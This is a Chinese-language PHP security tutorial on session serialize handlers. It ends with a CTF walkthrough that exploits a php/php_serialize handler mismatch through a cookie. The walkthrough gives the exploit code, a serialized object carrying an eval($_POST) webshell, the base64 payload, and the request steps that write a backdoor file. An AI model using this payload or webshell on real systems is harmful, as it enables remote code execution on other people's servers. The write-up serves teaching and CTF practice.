一篇文章弄懂session的兩種存儲方式


本文為合天網安實驗室原創,轉載請注明出處!

PHP中session有哪些存儲方式?

根據官方文檔我們可以看到,一共有三種存儲方式:PHP序列化格式PHP內部格式以及WDDX​。

如果不使用ini_set設置相關session存儲方式,在默認情況下就使用php,也就是php內部格式

本篇文章僅討論PHP序列化格式以及php默認處理器這兩種存儲方式,不探討WDDX的存儲方式。

還有一種是php_binary的格式,本文也不做探討,這里就列出在不同模式下的存儲方式。

php_serialize

經過serialize()函數序列化數組

php

鍵名+豎線+經過serialize()函數處理的值

php_binary

鍵名的長度對應的ascii字符+鍵名+serialize()函數序列化的值

php默認處理器與php序列化存儲方式有哪些差異?

php默認處理器

首先我們使用php默認處理器,初始化session,並給session賦值,實驗代碼如下:

<?php
//ini_set("session.serialize_handler","php");
session_start();
$_SESSION['tt'] = "Lxxx";

訪問該網頁后我們可以看到以下內容:

這里的信息量有點大,我們逐個分析:

  1. 首先訪問該網頁后,在Cookie中會新建一個值,鍵名為PHPSESSID,鍵值為一串隨機的字符串,其中鍵名是由session.name決定的,如果不設置,默認為PHPSESSID
  2. 新建了一個session之后,服務器會將會話信息存儲在tmp目錄中,文件名為PHPSESSID_<value>,其中value的值即為瀏覽器中PHPSESSID的值
  3. 在這個文件中,會將session信息分為兩部分存儲,一個是服務器代碼中設置session的鍵名,另一個為session的鍵值,中間用豎線|隔開

php序列化處理器

同樣的,我們還是用上方的代碼,不過將session存儲的方式修改為php序列化,代碼如下:

<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['tt'] = "Lxxx";

得到的結果如下:

可以看到,與php默認處理器唯一不同點就在於:存儲的內容變為了序列化之后的結果。

那么如果將這兩個處理器結合起來,會產生什么安全問題呢?

session存儲中可能產生的安全問題

由於PHP默認情況下使用的session存儲方式為PHP默認處理器,即存儲的內容用豎線|進行分割,那么開發者在開發的時候,如果沒有統一好存儲的方式,比如在某個頁面中使用PHP默認處理器操作session,但是在其他頁面用PHP序列化操作session,如果在這個過程中有數據的交換,就很有可能存在反序列化注入問題。

光說可能有些抽象,接下來使用一道CTF賽題來闡述session存儲中可能存在的安全問題。

用一道CTF題闡述session的安全問題

首先呢,打開題目:

乍一眼看是登錄頁面,可能是SQL注入有關,但是經過我們掃描后,存在www.zip源代碼泄露。在www.zip中存在以下文件:

相關代碼如下:(有些做了省略)

index.php

<?php
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
 setcookie("limit",base64_encode('1'));
 $_SESSION['limit']= 1;
}
?>
 

inc.php

<?php
ini_set('session.serialize_handler', 'php');
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
 

check.php

<?php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
['id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密碼必須為128位大小寫字母+數字+特殊符號,防止爆破
]
]);
if($data['id']){
//登陸成功取消次數累計
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"歡迎您".$data['UserName0']));
}else{
//登陸失敗累計次數加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陸失敗"));
}
}

 

這一道題,經過初步審計之后,我們可以發現三個比較重要的地方:

  1. 首先在index.php代碼中,有以下代碼$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);這一行代碼看上去有登錄失敗次數的限制,但是由於題目中limit打成了limti,所以,實際上這一行代碼並不影響我們做題。
  2. inc.php中,存在以下代碼:ini_set('session.serialize_handler', 'php');前面我們提到,默認的PHP對於session的處理方式就是php,但是這里又通過ini_set來設置處理方式是php,由此我們可以大膽假設,這題的環境,默認的session處理方式為php序列化
  3. 同樣還是在inc.php頁面中,有以下代碼:function __destruct(){
    file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));
    }在這一個地方,存在一個文件寫入的漏洞,其中文件名以及寫入的內容都可控。

經過初步審計之后,我們可以嘗試使用將User類序列化后的字符寫入limit中,當其他頁面調用limit的時候,使用的是php序列化的處理器,這時候php就會對User類進行反序列化,最終寫入我們的shell

所以我們構造一個User類,寫入相關的shell,並且序列化之后添加一個豎線|,最后進行base64編碼。

這里需要添加豎線|的原因是,在inc.php頁面中使用了PHP的處理器,而在其他地方使用“默認”的PHP序列化處理器。

構造對象如下:

<?php
class User{
    public $username = "1.php";
    public $password = '<?php eval($_POST["a"]);?>';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>

 

得到結果:

fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=

首先訪問index.php建立會話,然后將這一串傳入cookie中的limit

再帶參數訪問check.php

check.php?u=123&pass=456

 

訪問之后,就會在目錄下生成log-1.php的后門文件,連接密碼為a,即可成功getshell。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM